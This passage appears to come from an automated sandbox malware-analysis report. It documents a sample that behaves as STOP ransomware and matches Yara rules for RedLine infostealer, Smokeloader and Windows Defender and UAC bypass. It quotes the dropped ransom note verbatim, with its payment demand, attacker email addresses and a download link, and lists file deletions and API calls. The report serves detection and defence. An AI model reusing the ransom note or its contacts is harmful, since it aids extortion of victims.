                          Source: Yara matchFile source: Process Memory Space: EE23.exe PID: 3560, type: MEMORYSTR
                          Source: Yara matchFile source: Process Memory Space: EE23.exe PID: 5876, type: MEMORYSTR
                          Source: Yara matchFile source: Process Memory Space: EE23.exe PID: 5824, type: MEMORYSTR
                          Source: Yara matchFile source: Process Memory Space: EE23.exe PID: 2836, type: MEMORYSTR
                          Source: Yara matchFile source: Process Memory Space: EE23.exe PID: 6324, type: MEMORYSTR
                          Source: Yara matchFile source: Process Memory Space: EE23.exe PID: 3292, type: MEMORYSTR
                          Modifies existing user documents (likely ransomware behavior)
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeFile moved: C:\Users\user\Desktop\UNKRLCVOHV.mp3
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeFile deleted: C:\Users\user\Desktop\UNKRLCVOHV.mp3
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeFile moved: C:\Users\user\Desktop\EIVQSAOTAQ.jpg
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeFile deleted: C:\Users\user\Desktop\EIVQSAOTAQ.jpg
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeFile moved: C:\Users\user\Desktop\EEGWXUHVUG\EEGWXUHVUG.docx
                          Writes a notice file (html or txt) to demand a ransom
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeFile dropped: C:\_README.txt -> decrypt tool and unique key for you.this software will decrypt all your encrypted files.what guarantees you have?you can send one of your encrypted file from your pc and we decrypt it for free.but we can decrypt only 1 file for free. file must not contain valuable information.do not ask assistants from youtube and recovery data sites for help in recovering your data.they can use your free decryption quota and scam you.our contact is emails in this text document only.you can get and look video overview decrypt tool:https://we.tl/t-hpaqznkjkdprice of private key and decrypt software is $999.discount 50% available if you contact us first 72 hours, that's price for you is $499.please note that you'll never restore your data without payment.check your e-mail "spam" or "junk" folder if you don't get answer more than 6 hours.to get this software you need write on our e-mail:support@freshingmail.topreserve e-mail address to contact us:datarestorehelpyou@airmail.ccyour persoJump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeFile dropped: C:\$WinREAgent\_README.txt -> decrypt tool and unique key for you.this software will decrypt all your encrypted files.what guarantees you have?you can send one of your encrypted file from your pc and we decrypt it for free.but we can decrypt only 1 file for free. file must not contain valuable information.do not ask assistants from youtube and recovery data sites for help in recovering your data.they can use your free decryption quota and scam you.our contact is emails in this text document only.you can get and look video overview decrypt tool:https://we.tl/t-hpaqznkjkdprice of private key and decrypt software is $999.discount 50% available if you contact us first 72 hours, that's price for you is $499.please note that you'll never restore your data without payment.check your e-mail "spam" or "junk" folder if you don't get answer more than 6 hours.to get this software you need write on our e-mail:support@freshingmail.topreserve e-mail address to contact us:datarestorehelpyou@airmail.ccyour persoJump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeFile dropped: C:\$WinREAgent\Scratch\_README.txt -> decrypt tool and unique key for you.this software will decrypt all your encrypted files.what guarantees you have?you can send one of your encrypted file from your pc and we decrypt it for free.but we can decrypt only 1 file for free. file must not contain valuable information.do not ask assistants from youtube and recovery data sites for help in recovering your data.they can use your free decryption quota and scam you.our contact is emails in this text document only.you can get and look video overview decrypt tool:https://we.tl/t-hpaqznkjkdprice of private key and decrypt software is $999.discount 50% available if you contact us first 72 hours, that's price for you is $499.please note that you'll never restore your data without payment.check your e-mail "spam" or "junk" folder if you don't get answer more than 6 hours.to get this software you need write on our e-mail:support@freshingmail.topreserve e-mail address to contact us:datarestorehelpyou@airmail.ccyour persoJump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeFile dropped: C:\Users\user\_README.txt -> decrypt tool and unique key for you.this software will decrypt all your encrypted files.what guarantees you have?you can send one of your encrypted file from your pc and we decrypt it for free.but we can decrypt only 1 file for free. file must not contain valuable information.do not ask assistants from youtube and recovery data sites for help in recovering your data.they can use your free decryption quota and scam you.our contact is emails in this text document only.you can get and look video overview decrypt tool:https://we.tl/t-hpaqznkjkdprice of private key and decrypt software is $999.discount 50% available if you contact us first 72 hours, that's price for you is $499.please note that you'll never restore your data without payment.check your e-mail "spam" or "junk" folder if you don't get answer more than 6 hours.to get this software you need write on our e-mail:support@freshingmail.topreserve e-mail address to contact us:datarestorehelpyou@airmail.ccyour persoJump to dropped file

                          System Summary

                          barindex
                          Malicious sample detected (through community Yara rule)
                          Source: 30.2.E5F3.exe.2100e67.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
                          Source: 37.2.BA7B.exe.809b9f8.1.unpack, type: UNPACKEDPEMatched rule: Detects executables containing artifcats associated with disabling Widnows Defender Author: ditekSHen
                          Source: 37.2.BA7B.exe.809b9f8.1.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF Author: ditekSHen
                          Source: 37.2.BA7B.exe.809b9f8.1.unpack, type: UNPACKEDPEMatched rule: Detects executables embedding command execution via IExecuteCommand COM object Author: ditekSHen
                          Source: 37.2.BA7B.exe.809b9f8.1.unpack, type: UNPACKEDPEMatched rule: Detects executables potentially checking for WinJail sandbox window Author: ditekSHen
                          Source: 30.3.E5F3.exe.21d0000.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
                          Source: 37.2.BA7B.exe.8710000.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables containing artifcats associated with disabling Widnows Defender Author: ditekSHen
                          Source: 37.2.BA7B.exe.8710000.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF Author: ditekSHen
                          Source: 37.2.BA7B.exe.8710000.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables embedding command execution via IExecuteCommand COM object Author: ditekSHen
                          Source: 37.2.BA7B.exe.8710000.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables potentially checking for WinJail sandbox window Author: ditekSHen
                          Source: 30.2.E5F3.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
                          Source: 10.2.EE23.exe.49915a0.1.unpack, type: UNPACKEDPEMatched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
                          Source: 10.2.EE23.exe.49915a0.1.unpack, type: UNPACKEDPEMatched rule: Detects STOP ransomware Author: ditekSHen
                          Source: 10.2.EE23.exe.49915a0.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
                          Source: 10.2.EE23.exe.49915a0.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects STOP ransomware Author: ditekSHen
                          Source: 22.2.EE23.exe.49715a0.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
                          Source: 22.2.EE23.exe.49715a0.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects STOP ransomware Author: ditekSHen
                          Source: 37.2.BA7B.exe.8710000.2.unpack, type: UNPACKEDPEMatched rule: Detects executables containing artifcats associated with disabling Widnows Defender Author: ditekSHen
                          Source: 37.2.BA7B.exe.8710000.2.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF Author: ditekSHen
                          Source: 37.2.BA7B.exe.8710000.2.unpack, type: UNPACKEDPEMatched rule: Detects executables embedding command execution via IExecuteCommand COM object Author: ditekSHen
                          Source: 37.2.BA7B.exe.8710000.2.unpack, type: UNPACKEDPEMatched rule: Detects executables potentially checking for WinJail sandbox window Author: ditekSHen
                          Source: 25.2.EE23.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
                          Source: 25.2.EE23.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects STOP ransomware Author: ditekSHen
                          Source: 30.2.E5F3.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
                          Source: 16.2.EE23.exe.49c15a0.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
                          Source: 16.2.EE23.exe.49c15a0.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects STOP ransomware Author: ditekSHen
                          Source: 23.2.EE23.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
                          Source: 23.2.EE23.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects STOP ransomware Author: ditekSHen
                          Source: 15.2.EE23.exe.49e15a0.1.unpack, type: UNPACKEDPEMatched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
                          Source: 15.2.EE23.exe.49e15a0.1.unpack, type: UNPACKEDPEMatched rule: Detects STOP ransomware Author: ditekSHen
                          Source: 25.2.EE23.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
                          Source: 25.2.EE23.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects STOP ransomware Author: ditekSHen
                          Source: 23.2.EE23.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
                          Source: 23.2.EE23.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects STOP ransomware Author: ditekSHen
                          Source: 17.2.EE23.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
                          Source: 17.2.EE23.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects STOP ransomware Author: ditekSHen
                          Source: 22.2.EE23.exe.49715a0.1.unpack, type: UNPACKEDPEMatched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
                          Source: 22.2.EE23.exe.49715a0.1.unpack, type: UNPACKEDPEMatched rule: Detects STOP ransomware Author: ditekSHen
                          Source: 15.2.EE23.exe.49e15a0.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
                          Source: 15.2.EE23.exe.49e15a0.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects STOP ransomware Author: ditekSHen
                          Source: 17.2.EE23.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
                          Source: 17.2.EE23.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects STOP ransomware Author: ditekSHen
                          Source: 11.2.EE23.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
                          Source: 11.2.EE23.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects STOP ransomware Author: ditekSHen
                          Source: 18.2.EE23.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
                          Source: 18.2.EE23.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects STOP ransomware Author: ditekSHen
                          Source: 42.2.svchost.exe.3fbd578.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables containing artifcats associated with disabling Widnows Defender Author: ditekSHen
                          Source: 42.2.svchost.exe.3fbd578.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF Author: ditekSHen
                          Source: 42.2.svchost.exe.3fbd578.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables embedding command execution via IExecuteCommand COM object Author: ditekSHen
                          Source: 42.2.svchost.exe.3fbd578.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables potentially checking for WinJail sandbox window Author: ditekSHen
                          Source: 24.2.EE23.exe.4a815a0.1.unpack, type: UNPACKEDPEMatched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
                          Source: 24.2.EE23.exe.4a815a0.1.unpack, type: UNPACKEDPEMatched rule: Detects STOP ransomware Author: ditekSHen
                          Source: 16.2.EE23.exe.49c15a0.1.unpack, type: UNPACKEDPEMatched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
                          Source: 16.2.EE23.exe.49c15a0.1.unpack, type: UNPACKEDPEMatched rule: Detects STOP ransomware Author: ditekSHen
                          Source: 37.2.BA7B.exe.809b9f8.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables containing artifcats associated with disabling Widnows Defender Author: ditekSHen
                          Source: 37.2.BA7B.exe.809b9f8.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF Author: ditekSHen
                          Source: 37.2.BA7B.exe.809b9f8.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables embedding command execution via IExecuteCommand COM object Author: ditekSHen
                          Source: 37.2.BA7B.exe.809b9f8.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables potentially checking for WinJail sandbox window Author: ditekSHen
                          Source: 24.2.EE23.exe.4a815a0.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
                          Source: 24.2.EE23.exe.4a815a0.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects STOP ransomware Author: ditekSHen
                          Source: 42.2.svchost.exe.3fbd578.0.unpack, type: UNPACKEDPEMatched rule: Detects executables containing artifcats associated with disabling Widnows Defender Author: ditekSHen
                          Source: 42.2.svchost.exe.3fbd578.0.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF Author: ditekSHen
                          Source: 42.2.svchost.exe.3fbd578.0.unpack, type: UNPACKEDPEMatched rule: Detects executables embedding command execution via IExecuteCommand COM object Author: ditekSHen
                          Source: 42.2.svchost.exe.3fbd578.0.unpack, type: UNPACKEDPEMatched rule: Detects executables potentially checking for WinJail sandbox window Author: ditekSHen
                          Source: 18.2.EE23.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
                          Source: 18.2.EE23.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects STOP ransomware Author: ditekSHen
                          Source: 11.2.EE23.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
                          Source: 11.2.EE23.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects STOP ransomware Author: ditekSHen
                          Source: 00000005.00000002.2445621765.0000000002E60000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
                          Source: 00000004.00000002.2273933251.0000000004700000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
                          Source: 00000004.00000002.2274024832.0000000004731000.00000004.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
                          Source: 0000001E.00000002.3076038176.0000000000400000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORYMatched rule: Detects RedLine infostealer Author: ditekSHen
                          Source: 00000016.00000002.2534124903.000000000488E000.00000040.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
                          Source: 0000001E.00000002.3077911202.0000000002100000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
                          Source: 0000000A.00000002.2397921937.0000000004990000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
                          Source: 00000000.00000002.2042490053.0000000004841000.00000004.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
                          Source: 00000004.00000002.2273984194.0000000004710000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
                          Source: 0000001E.00000003.2735023730.00000000021D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects RedLine infostealer Author: ditekSHen
                          Source: 00000000.00000002.2042176202.0000000002E30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
                          Source: 00000025.00000002.2875462072.0000000008710000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Detects executables containing artifcats associated with disabling Widnows Defender Author: ditekSHen
                          Source: 00000025.00000002.2875462072.0000000008710000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF Author: ditekSHen
                          Source: 00000025.00000002.2875462072.0000000008710000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Detects executables embedding command execution via IExecuteCommand COM object Author: ditekSHen
                          Source: 00000025.00000002.2875462072.0000000008710000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Detects executables potentially checking for WinJail sandbox window Author: ditekSHen
                          Source: 00000018.00000002.2615160955.00000000048C3000.00000040.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
                          Source: 00000004.00000002.2273859448.0000000002E79000.00000040.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
                          Source: 00000018.00000002.2615418676.0000000004A80000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
                          Source: 00000000.00000002.2042036290.0000000002D10000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
                          Source: 00000011.00000002.4433775392.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
                          Source: 00000011.00000002.4433775392.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects STOP ransomware Author: ditekSHen
                          Source: 00000014.00000002.2502823909.000000000051E000.00000040.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
                          Source: 0000000F.00000002.2431912071.00000000048A9000.00000040.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
                          Source: 0000000F.00000002.2432143870.00000000049E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
                          Source: 00000016.00000002.2534321369.0000000004970000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
                          Source: 00000010.00000002.2429114734.000000000492D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
                          Source: 00000005.00000002.2445721326.0000000002F29000.00000040.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
                          Source: 00000010.00000002.2429235251.00000000049C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
                          Source: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
                          Source: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects STOP ransomware Author: ditekSHen
                          Source: 00000019.00000002.2626230115.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
                          Source: 00000019.00000002.2626230115.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects STOP ransomware Author: ditekSHen
                          Source: 0000000A.00000002.2397649802.0000000002F47000.00000040.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
                          Source: 00000012.00000002.4433963494.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
                          Source: 00000012.00000002.4433963494.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects STOP ransomware Author: ditekSHen
                          Source: 00000017.00000002.2543816835.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
                          Source: 00000017.00000002.2543816835.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects STOP ransomware Author: ditekSHen
                          Source: 0000001E.00000002.3076741866.000000000050D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
                          Source: 00000000.00000002.2042386552.0000000002E7A000.00000040.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
                          Source: Process Memory Space: EE23.exe PID: 1784, type: MEMORYSTRMatched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
                          Source: Process Memory Space: EE23.exe PID: 2284, type: MEMORYSTRMatched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
                          Source: Process Memory Space: EE23.exe PID: 5968, type: MEMORYSTRMatched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
                          Source: Process Memory Space: EE23.exe PID: 5644, type: MEMORYSTRMatched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
                          Source: Process Memory Space: EE23.exe PID: 3560, type: MEMORYSTRMatched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
                          Source: Process Memory Space: EE23.exe PID: 5876, type: MEMORYSTRMatched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
                          Source: Process Memory Space: EE23.exe PID: 5824, type: MEMORYSTRMatched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
                          Source: Process Memory Space: EE23.exe PID: 2836, type: MEMORYSTRMatched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
                          Source: Process Memory Space: EE23.exe PID: 6324, type: MEMORYSTRMatched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
                          Source: Process Memory Space: EE23.exe PID: 3292, type: MEMORYSTRMatched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
                          .NET source code contains very large array initializations
                          Source: 30.2.E5F3.exe.5590000.6.raw.unpack, Strings.csLarge array initialization: Strings: array initializer size 6160
                          Source: 30.3.E5F3.exe.4baff08.1.raw.unpack, Strings.csLarge array initialization: Strings: array initializer size 6160
                          Source: 30.2.E5F3.exe.4f30ee8.5.raw.unpack, Strings.csLarge array initialization: Strings: array initializer size 6160
                          PE file contains section with special chars
                          Source: 84F5.exe.2.drStatic PE information: section name: .[
                          Source: 84F5.exe.2.drStatic PE information: section name: .[
                          Source: 84F5.exe.2.drStatic PE information: section name: .[
                          Source: C:\Windows\explorer.exeProcess Stats: CPU usage > 49%
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: 0_2_004015D5 NtDuplicateObject,NtCreateSection,HeapCreate,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,0_2_004015D5
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: 0_2_00401603 NtDuplicateObject,NtCreateSection,HeapCreate,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,0_2_00401603
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: 0_2_0040161A NtDuplicateObject,NtCreateSection,HeapCreate,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,0_2_0040161A
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: 0_2_004026D2 NtOpenKey,0_2_004026D2
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: 0_2_00402745 NtEnumerateKey,0_2_00402745
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: 0_2_00402348 NtQuerySystemInformation,NtQuerySystemInformation,0_2_00402348
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: 0_2_0040156B NtDuplicateObject,NtCreateSection,HeapCreate,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,0_2_0040156B
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: 0_2_00402770 NtEnumerateKey,0_2_00402770
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: 0_2_0040217B NtQuerySystemInformation,NtQuerySystemInformation,0_2_0040217B
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: 0_2_0040217D NtQuerySystemInformation,NtQuerySystemInformation,0_2_0040217D
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: 0_2_004021CB NtQuerySystemInformation,NtQuerySystemInformation,0_2_004021CB
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: 0_2_004017DF NtMapViewOfSection,NtMapViewOfSection,0_2_004017DF
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: 0_2_004015E0 NtDuplicateObject,NtCreateSection,HeapCreate,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,0_2_004015E0
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: 0_2_004015F1 NtDuplicateObject,NtCreateSection,HeapCreate,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,0_2_004015F1
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: 0_2_004015F5 NtDuplicateObject,NtCreateSection,HeapCreate,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,0_2_004015F5
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: 0_2_004015F8 NtDuplicateObject,NtCreateSection,HeapCreate,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,0_2_004015F8
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: 0_2_00402188 NtQuerySystemInformation,NtQuerySystemInformation,0_2_00402188
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: 0_2_004027A0 NtClose,0_2_004027A0
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: 0_2_004021A1 NtQuerySystemInformation,NtQuerySystemInformation,0_2_004021A1
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: 0_2_004021BB NtQuerySystemInformation,NtQuerySystemInformation,0_2_004021BB
                          Source: C:\Users\user\AppData\Roaming\ubrawdbCode function: 4_2_004015D5 NtDuplicateObject,NtCreateSection,HeapCreate,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,4_2_004015D5
                          Source: C:\Users\user\AppData\Roaming\ubrawdbCode function: 4_2_00401603 NtDuplicateObject,NtCreateSection,HeapCreate,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,4_2_00401603
                          Source: C:\Users\user\AppData\Roaming\ubrawdbCode function: 4_2_0040161A NtDuplicateObject,NtCreateSection,HeapCreate,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,4_2_0040161A
                          Source: C:\Users\user\AppData\Roaming\ubrawdbCode function: 4_2_004026D2 NtOpenKey,4_2_004026D2
                          Source: C:\Users\user\AppData\Roaming\ubrawdbCode function: 4_2_00402745 NtEnumerateKey,4_2_00402745
                          Source: C:\Users\user\AppData\Roaming\ubrawdbCode function: 4_2_00402348 NtQuerySystemInformation,NtQuerySystemInformation,4_2_00402348
                          Source: C:\Users\user\AppData\Roaming\ubrawdbCode function: 4_2_0040156B NtDuplicateObject,NtCreateSection,HeapCreate,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,4_2_0040156B
                          Source: C:\Users\user\AppData\Roaming\ubrawdbCode function: 4_2_00402770 NtEnumerateKey,4_2_00402770
                          Source: C:\Users\user\AppData\Roaming\ubrawdbCode function: 4_2_0040217B NtQuerySystemInformation,NtQuerySystemInformation,4_2_0040217B
                          Source: C:\Users\user\AppData\Roaming\ubrawdbCode function: 4_2_0040217D NtQuerySystemInformation,NtQuerySystemInformation,4_2_0040217D
                          Source: C:\Users\user\AppData\Roaming\ubrawdbCode function: 4_2_004021CB NtQuerySystemInformation,NtQuerySystemInformation,4_2_004021CB
                          Source: C:\Users\user\AppData\Roaming\ubrawdbCode function: 4_2_004017DF NtMapViewOfSection,NtMapViewOfSection,4_2_004017DF
                          Source: C:\Users\user\AppData\Roaming\ubrawdbCode function: 4_2_004015E0 NtDuplicateObject,NtCreateSection,HeapCreate,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,4_2_004015E0
                          Source: C:\Users\user\AppData\Roaming\ubrawdbCode function: 4_2_004015F1 NtDuplicateObject,NtCreateSection,HeapCreate,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,4_2_004015F1
